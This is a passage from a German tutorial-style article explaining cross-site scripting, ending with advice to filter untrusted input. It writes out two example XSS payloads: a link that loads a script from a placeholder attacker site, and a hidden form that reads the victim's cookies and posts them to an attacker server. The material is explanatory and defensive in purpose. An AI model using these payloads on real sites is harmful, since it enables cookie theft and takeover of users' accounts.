Cross-Site Scripting und SQL-Injection

Bösartiger Code von fremder Site

Die Sache geht aber noch weiter: So kann der Angreifer das bösartige Script auch beispielsweise von einer anderen Webseite - also seiner eigenen - abholen. Alles was er dazu braucht, ist wieder ein passend formulierter Link:

<A HREF="http://gutesite/comment.cgi?mycomment=<SCRIPT SRC='http://boese-site.com/script'></SCRIPT>">Hier klicken</A>

Dieses Beispiel ist für den Namen von XSS zuständig: Hier injiziert eine Seite Code in eine Seite, die von einem anderen Server stammt: Cross-Site Scripting. Nun wurde bereits erwähnt, dass der Angreifer das Opfer durch derartige Maßnahmen aushorchen kann. Im einfachsten Fall ermöglicht es ein solcher Angriff, Cookies des Opfers auszulesen und an einen Server des Angreifers zu senden. In Cookies werden aber zum Beispiel oft Anmeldeinformationen für eine Website abgelegt, damit der User sich beim nächsten Besuch nicht erneut anmelden muss: Gelingt es dem Angreifer also, solch ein Cookie auszulesen, kann er auf der Webseite auch unter dem Account des Users auftreten. Ein solcher Cookie-Diebstahl könnte beispielsweise folgendermaßen aussehen:

<a href=http://www.gutesite.com/req.asp?name=
<FORM action=http://www.boesesite.com/data.asp
method=post id="idForm">
<INPUT name="cookie" type="hidden">
</FORM>
<SCRIPT>
idForm.cookie.value=document.cookie;
idForm.submit();
</SCRIPT> >
Hier klicken
</a>

Um die eigenen Anwender vor diesen Angriffsvektoren zu schützen, muss der Programmierer der Webanwendung sicherstellen, dass "unsichere" Daten, die vom Webserver ausgehen, zuvor gefiltert werden. Derlei unsichere Daten können aus verschiedenen Quellen stammen. Dazu gehören URL-Parameter, Formularinhalte, aber auch Datenbankabfragen und Cookies.